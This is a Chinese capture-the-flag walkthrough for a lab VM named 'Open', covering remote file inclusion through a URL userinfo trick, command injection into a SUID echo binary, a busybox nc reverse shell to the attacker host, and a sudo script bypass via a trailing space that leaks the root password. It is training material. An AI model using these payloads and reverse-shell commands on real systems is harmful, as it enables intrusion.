【打靶日记】群内靶机 Open

主机发现

bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# arp-scan -I eth1 -l

192.168.56.116  08:00:27:da:04:f3       PCS Systemtechnik GmbH

主机地址为:192.168.56.116

端口扫描

bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# nmap -p- 192.168.56.116

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Web渗透

  • Must start with "http://open"
  • Should be a valid URL pointing to a PHP resource
  • Remote file inclusion is enabled

三条提示

测试SSRF
bash 复制代码
#步骤一,写测试文件
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# echo "<?php echo 'hello';?>" > a.php

#步骤二,在攻击机上开启http服务
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

#步骤三,服务器上请求a.php
请求payload:http://open.dsz/?url=http://open@192.168.56.247:8000/a.php

结果验证

bash 复制代码
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.116 - - [30/Nov/2025 20:38:13] "GET /a.php HTTP/1.1" 200 -

成功请求执行

反弹shell

拿个反弹shell文件,按上面步骤一样

bash 复制代码
#http
┌──(root㉿xhh)-[/]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.116 - - [30/Nov/2025 21:02:44] "GET /revshell.php HTTP/1.1" 200 -
bash 复制代码
#nc
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.116] 48868
成功建立反向shell连接至 192.168.56.247:6666
Linux Open 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
 08:02:44 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

成功拿到webshell

webshell ---> miao

bash 复制代码
www-data@Open:/$ ls -al /opt
total 32
drwxr-xr-x  2 root root  4096 Jul 29 03:22 .
drwxr-xr-x 18 root root  4096 Mar 18  2025 ..
-rwsr-sr-x  1 root root 17008 Jul 29 03:06 echo
-rwxr-xr-x  1 root root   192 Jul 29 03:22 hello.sh

查看opt文件夹,发现一个带SUID权限的echo和一个可以执行的hello.sh脚本

c 复制代码
//opt下echo分析(部分)
//直接拼接用户输入到命令字符串,无任何过滤 / 转义
strcat(dest, argv[1]);
//执行拼接后的命令(仅用单引号包裹输入,可通过闭合引号突破限制)
v10 = system(dest);
bash 复制代码
www-data@Open:/opt$ /opt/echo "';id;'"
执行命令: echo '[用户输入]: ';id;''
[用户输入]: 
uid=1000(miao) gid=1000(miao) groups=1000(miao),33(www-data)
sh: 1: : Permission denied

成功执行id命令

弹shell
bash 复制代码
#发送端
www-data@Open:/opt$ /opt/echo "';busybox nc 192.168.56.247 9999 -e /bin/bash;'"
执行命令: echo '[用户输入]: ';busybox nc 192.168.56.247 9999 -e /bin/bash;''
[用户输入]: 


#接收端
┌──(root㉿xhh)-[~/Desktop/xhh/QQ/Open]
└─# nc -lvnp 9999      
listening on [any] 9999 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.116] 55902
uid=1000(miao) gid=1000(miao) groups=1000(miao),33(www-data)
user.txt
bash 复制代码
pwd
/home/miao
ls
user.txt
cat user.txt
flag{user-b026324c6904b2a9cb4b88d6d61c81d1}

提权

bash 复制代码
sudo -l
Matching Defaults entries for miao on Open:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User miao may run the following commands on Open:
    (ALL) NOPASSWD: /opt/hello.sh

拿先看一下脚本

bash 复制代码
cat /opt/hello.sh
PATH=/usr/bin

# 必须传参,否则退出
[ -n "$1" ] || exit 1
# 传dsz则exit 2
[ "$1" = "dsz" ] && exit 2

#[ $1 = "dsz" ] && cat /root/password.txt | md5sum | awk '{print $1}'
# 传dsz则读密码文件
[ $1 = "dsz" ] && cat /root/password.txt

echo "Goodbye!"

分析

bash 复制代码
[ "$1" = "dsz" ] && exit 2
[ $1 = "dsz" ] && cat /root/password.txt
#$1的包裹方式不一样
#以下'\t'表示一个空格
#在执行命令的时候
#cat a.txt和cat a.txt\t都会输出a.txt内容
#但是被引号包裹起来就不一样了
#cat "user.txt"
#flag{user-b026324c6904b2a9cb4b88d6d61c81d1}
#cat "user.txt "
#ls
#user.txt
#多了个空格的并未执行

利用

bash 复制代码
sudo /opt/hello.sh 'dsz '
6cd1f22e65d26246530ff7a2528144e3
Goodbye!

成功拿到password的MD5

bash 复制代码
┌──(root㉿xhh)-[/]
└─# echo do167watt041 | md5sum                           
6cd1f22e65d26246530ff7a2528144e3  -

得到root密码是do167watt041

bash 复制代码
su - root
do167watt041
id
uid=0(root) gid=0(root) groups=0(root)

成功获得root

root.txt
bash 复制代码
cat root.txt
flag{root-6cd1f22e65d26246530ff7a2528144e3}
root.txt
bash 复制代码
cat root.txt
flag{root-6cd1f22e65d26246530ff7a2528144e3}
相关推荐
没有口袋啦42 分钟前
《基于iptables的nginx的https的搭建》
linux·服务器·网络
凉、介1 小时前
Linux 下的 time_before/time_after 接口
linux·运维·服务器·学习
python百炼成钢1 小时前
42.Linux INPUT 子系统驱动
linux·驱动开发
世界尽头与你1 小时前
跨站请求伪造(CSRF)漏洞
web安全·网络安全·渗透测试·csrf
last demo1 小时前
VSFTPD 服务器
linux·运维·服务器
wdfk_prog1 小时前
[Linux]学习笔记系列 -- [block]fops
linux·笔记·学习
阿阿越1 小时前
Linux系统编程 -- 进程(二)
linux·运维·服务器
waves浪游1 小时前
进程控制(上)
linux·运维·服务器·开发语言·c++